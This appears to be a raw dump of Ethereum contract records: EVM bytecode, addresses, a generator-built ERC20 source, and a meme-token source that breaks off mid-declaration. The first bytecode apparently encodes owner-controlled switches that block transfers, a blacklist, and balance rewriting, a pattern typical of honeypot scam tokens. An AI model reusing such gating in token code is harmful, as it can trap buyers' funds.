fffffff169060200190929190505050610bbb565b6040518082815260200191505060405180910390f35b610374610bd3565b604051808260ff16815260200191505060405180910390f35b610395610be6565b60405180821515815260200191505060405180910390f35b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bfd565b60405180821515815260200191505060405180910390f35b6104696004803603604081101561041d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c53565b6040518082815260200191505060405180910390f35b6104c16004803603602081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c78565b6040518082815260200191505060405180910390f35b6104df610cc1565b005b61052d600480360360408110156104f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e41565b005b61053761107f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057757808201518184015260208101905061055c565b50505050905090810190601f1680156105a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105ba611121565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ee61114b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062e578082015181840152602081019050610613565b50505050905090810190601f16801561065b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106ab6004803603602081101561067f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e9565b005b6106f9600480360360408110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611305565b60405180821515815260200191505060405180910390f35b61071961131c565b005b61077d6004803603604081101561073157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611437565b6040518082815260200191505060405180910390f35b6107c2600480360360208110156107a957600080fd5b81019080803560ff1690602001909291905050506114be565b005b6107cc61158c565b6040518082815260200191505060405180910390f35b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108785780601f1061084d57610100808354040283529160200191610878565b820191906000526020600020905b81548152906001019060200180831161085b57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610aa184848461161a565b610b3082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6a90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b60036020528060005260406000206000915090505481565b600a60009054906101000a900460ff1681565b6000600660149054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6004602052816000526040600020602052806000526040600020600091509150505481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611ce0602c913960400191505060405180910390fd5b610f9d81600b54611b6a90919063ffffffff16565b600b81905550610fd281604051806060016040528060228152602001611c9860229139600954611bb49092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111175780601f106110ec57610100808354040283529160200191611117565b820191906000526020600020905b8154815290600101906020018083116110fa57829003601f168201915b5050505050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111e15780601f106111b6576101008083540402835291602001916111e1565b820191906000526020600020905b8154815290600101906020018083116111c457829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061131233848461161a565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600660149054906101000a900460ff1615151415611419576000600660146101000a81548160ff021916908315150217905550611435565b6001600660146101000a81548160ff0219169083151502179055505b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060ff16600c8190555050565b600c5481565b600080828401905083811015611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d356025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611726576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611c756023913960400191505060405180910390fd5b6000811161177f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611d0c6029913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118205750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188a5760001515600660149054906101000a900460ff16151514611889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600660149054906101000a900460ff16151514806118f7575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061194d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611b00576119be81604051806060016040528060268152602001611cba60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb49092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5381600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611b65565b60011515600660149054906101000a900460ff16151514611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000611bac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb4565b905092915050565b6000838311158290611c61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c26578082015181840152602081019050611c0b565b50505050905090810190601f168015611c535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737320646973616c6c6f7765645472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373a264697066735822122073d86e0db37edd81de3673d73f9142e836826bb06de1a76a9e081ce6e072021b64736f6c63430007020033
[ 38 ]
0xF29E4a9ec41F5f7D50C7121292ffF311007D2888
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/HelloERC20.sol pragma solidity ^0.8.0; /** * @title HelloERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the HelloERC20 */ contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") { _mint(_msgSender(), 10000e18); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220185c29d084d2185dbff6d17cde8a634e85ba271fa57d814bb34819b8af56542664736f6c63430008050033
[ 38 ]
0xf29e8b8f384e4f3db0269e5d24f57910c40fefff
/** TG: https://t.me/AvengeTheDinosaursToken */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AvengeTheDinosaurs is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private 